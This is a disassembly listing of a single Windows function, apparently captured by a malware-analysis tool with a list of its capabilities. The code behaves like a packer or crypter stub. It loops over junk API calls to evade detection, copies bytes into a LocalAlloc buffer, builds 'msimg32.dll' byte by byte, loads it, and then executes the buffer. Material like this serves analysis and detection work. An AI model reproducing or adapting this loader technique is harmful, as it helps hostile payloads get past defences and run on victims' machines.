Function at 0x405040
Capabilities:
Get disk size
Get file attributes
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x44b978
push eax
mov dword fs:[0], esp
sub esp, 0x830
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push edi
xor edi, edi
xor esi, esi
jmp 0x405070
cmp esi, 0xfa62c8f
jge 0x405084
call ebx
push edi
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp esi, 0x207142
jg 0x405095
inc esi
cmp esi, 0x67d12
jl 0x405070
cmp dword [0x45cafc], 0x93
jne 0x405170
push edi
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_CreateDCA]
push edi
lea eax, [ebp - 0x838]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
xor ecx, ecx
lock bts dword [ecx], 0
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push edi
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0x4047d0
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], edi
mov byte [ebp - 0x2c], 0
call fcn.00406770
add esp, 4
push eax
push 0x4047d0
lea ecx, [ebp - 0x30]
call fcn.00405c90
push edi
mov dword [ebp - 4], edi
call fcn.00406585
add esp, 4
push edi
push edi
call fcn.00406a70
mov eax, esp
mov dword [eax], edi
mov dword [eax + 4], edi
call fcn.00406ac0
fstp st(0)
push edi
call fcn.00406a36
add esp, 0xc
push edi
push edi
call fcn.00406a65
push edi
push edi
call fcn.0040656e
call fcn.0040625c
push edi
call fcn.00406a1f
add esp, 0x14
call fcn.00405030
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x18], 0x10
jb 0x405170
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.00406ab5
add esp, 4
mov eax, dword [0x45cafc]
mov edx, dword [0x450e94]
add eax, 0x1134b
push eax
push edi
mov dword [0x45d938], edx
mov dword [0x45cafc], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x45c588], eax
call fcn.00404f70
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x4051a2
cmp dword [0x45cafc], edi
jbe 0x405219
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
mov eax, dword [0x45d938]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x45c588]
mov byte [edx + esi], cl
cmp dword [0x45cafc], 0x490
jne 0x40520e
push 0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0x14]
push ecx
push 0
lea edx, [ebp - 0x28]
push edx
push 0
call ebx
inc esi
cmp esi, dword [0x45cafc]
jb 0x4051c1
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventW]
xor eax, eax
mov dword [ebp - 0x10], eax
mov ecx, dword [0x45cafc]
add ecx, eax
cmp ecx, 0x8d
jne 0x405276
push 0
lea edx, [ebp - 0x838]
push edx
push 0
push 0
push 0
push 0
call esi
push 0x4047ec
push 0x404804
call edi
push 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x38681
mov dword [ebp - 0x10], eax
jl 0x405230
call fcn.00404e30
xor edi, edi
xor esi, esi
lea ebx, [ebx]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x4052ae
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0x114e2
mov ecx, dword [ebp - 0x10]
add dword [0x45c588], ecx
inc esi
cmp esi, 0x674bd
jl 0x405290
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x45cafc], 0x86
jne 0x40530a
push 0
call esi
push 0
lea edx, [ebp - 0x438]
push edx
push 0x40481c
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
cmp dword [0x45cafc], 0xf
jne 0x40531f
push 0
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 0x10], 1
jne 0x4052d0
mov cl, 0x6c
mov al, 0x6d
push 0x453c18
mov byte [0x453c21], cl
mov byte [0x453c1b], al
mov byte [0x453c1c], 0x67
mov byte [0x453c20], 0x64
mov byte [0x453c23], 0
mov byte [0x453c22], cl
mov byte [0x453c1f], 0x2e
mov byte [0x453c1e], 0x32
mov byte [0x453c18], al
mov byte [0x453c1a], 0x69
mov byte [0x453c1d], 0x33
mov byte [0x453c19], 0x73
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x45c588]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret